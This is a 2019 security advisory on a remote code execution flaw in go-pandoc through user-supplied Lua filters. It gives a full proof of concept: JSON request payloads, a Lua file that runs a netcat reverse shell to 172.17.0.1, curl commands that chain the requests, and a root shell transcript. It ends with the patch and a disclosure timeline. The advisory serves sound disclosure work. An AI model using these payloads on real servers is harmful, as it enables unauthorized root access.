Go-pandoc - LUA filter remote code execution

Jan 29 2019

Go-pandoc is vulnerable to remote code execution through a user included LUA filter. An attacker can upload a LUA file to a known location on the file system due to a predictable temporary directory being used when handling certain file type includes. The uploaded LUA file can then be used as a filter in a subsequent request, allowing for the execution of arbitrary LUA code.

Date Released: 29/01/2019
Author: Denis Andzakovic
Project Website: https://github.com/gogap/go-pandoc
Affected Software: Go-pandoc

Details

The go-pandoc library uses the toCommandFileArgs method to download metadata, template, syntax-definition and include files from user specified URLs. These files are downloaded into the /tmp/go-pandoc/ directory. By specifying an attacker controlled URL in one of the parameters, an attacker can coerce the go-pandoc library to download a malicious LUA filter. This temporary file is deleted after the processing is completed, however the attacker can specify a second parameter (such as a syntax-definition) and hold the connection open. This results in the file remaining in the /tmp/go-pandoc/ directory long enough to trigger a second request to use the malicious filter.

Proof-of-Concept Exploit

The POC was staged against go-pandoc running in a docker container (docker run -it -d -p 8080:8080 idocking/go-pandoc:latest ./go-pandoc run). Curl is used to send the two requests, one to upload the file and the other to trigger the malicious LUA filter. Netcat is used as a simple web server that will serve one file and hold any subsequent connections open with no data. The payload is a reverse shell using netcat.

The following figure shows the payload to upload the malicious file (load.json):

{"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
"from": "markdown",
    "to" : "pdf",
    "standalone": true,
    "template": "http://172.17.0.1:8000/rce_poc.lua",
    "syntax_definition": "http://172.17.0.1:8000/rce_poc.lua"
},
"template": "binary"
}

The following figure shows the execution payload (exec.json):

{
"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
    "from": "markdown",
    "to" : "pdf",
    "standalone": true,
    "lua_filter": "/tmp/go-pandoc/rce_poc.lua"    
},
"template": "binary"
}

The following LUA snippet was used in rce_poc.lua:

return {
	os.execute ("/usr/bin/nc 172.17.0.1 8011 -e /bin/bash")
}

The malicious LUA file is served using a netcat webserver ({ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < rce_poc.lua)\r\n\r\n"; cat rce_poc.lua; } | nc -k -l -p 8000) and a reverse shell listener is created using nc -v -k -l -p 8011.

The following command will send the two requests, uploading and triggering the malicious filter:

curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @load.json & sleep 1; curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @exec.json

The above resulted in the execution of the LUA filter and a reverse shell:

[email protected]:~$ nc -vv -k -l -p 8011
Listening on [0.0.0.0] (family 0, port 8011)
Connection from 172.17.0.2 36905 received!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uname -a
Linux c5d782b5a561 4.15.0-43-generic #46-Ubuntu SMP Thu Dec 6 14:45:28 UTC 2018 x86_64 Linux
pwd
/app

Patch

This vulnerability was resolved by commit 540666673c6e5918ef8c81e8d35003e22fde51f4. Go-pandoc now disables the filter and lua_filter by default, requiring a configuration change to re-enable the parameters.

Timeline

25/01/2019 - Email address requested on Github
27/01/2019 - Advisory sent
28/01/2019 - Patches commited to GitHub
29/01/2019 - Advisory released